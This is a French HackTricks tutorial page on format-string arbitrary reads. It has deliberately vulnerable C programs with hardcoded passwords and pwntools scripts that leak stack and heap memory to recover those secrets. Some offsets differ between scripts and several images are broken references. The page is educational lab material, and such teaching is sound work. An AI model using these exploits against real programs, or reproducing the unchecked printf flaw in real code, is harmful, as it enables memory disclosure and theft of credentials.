hacktricks/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md

169 lines
4.9 KiB
Markdown

# Chaînes de format - Exemple de lecture arbitraire
{{#include ../../banners/hacktricks-training.md}}
## Lire le binaire de départ
### Code
```c
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
```
Compilez-le avec :
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
### Exploiter
```python
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
- Le **décalage est de 11** car en plaçant plusieurs A et en **brute-forçant** avec une boucle de 0 à 50, il a été trouvé qu'à un décalage de 11 et avec 5 caractères supplémentaires (pipes `|` dans notre cas), il est possible de contrôler une adresse complète.
- J'ai utilisé **`%11$p`** avec un remplissage jusqu'à ce que l'adresse soit entièrement 0x4141414141414141.
- La **charge utile de la chaîne de format est AVANT l'adresse** car le **printf s'arrête de lire à un octet nul**, donc si nous envoyons l'adresse puis la chaîne de format, le printf n'atteindra jamais la chaîne de format car un octet nul sera trouvé avant.
- L'adresse sélectionnée est 0x00400000 car c'est là que le binaire commence (pas de PIE).
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
## Lire les mots de passe
```c
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
```
Compilez-le avec :
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### Lire depuis la pile
Le **`stack_password`** sera stocké dans la pile car c'est une variable locale, donc il suffit d'abuser de printf pour afficher le contenu de la pile. C'est une exploitation pour BF les 100 premières positions afin de révéler les mots de passe de la pile :
```python
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
Dans l'image, il est possible de voir que nous pouvons leak le mot de passe de la pile à la `10ème` position :
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
### Lire les données
En exécutant le même exploit mais avec `%p` au lieu de `%s`, il est possible de leak une adresse de tas depuis la pile à `%25$p`. De plus, en comparant l'adresse leakée (`0xaaaab7030894`) avec la position du mot de passe en mémoire dans ce processus, nous pouvons obtenir la différence d'adresses :
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
Il est maintenant temps de trouver comment contrôler 1 adresse dans la pile pour y accéder depuis la deuxième vulnérabilité de chaîne de format :
```python
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
```
Et il est possible de voir cela dans le **try 14** avec le passage utilisé, nous pouvons contrôler une adresse :
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{{#include ../../banners/hacktricks-training.md}}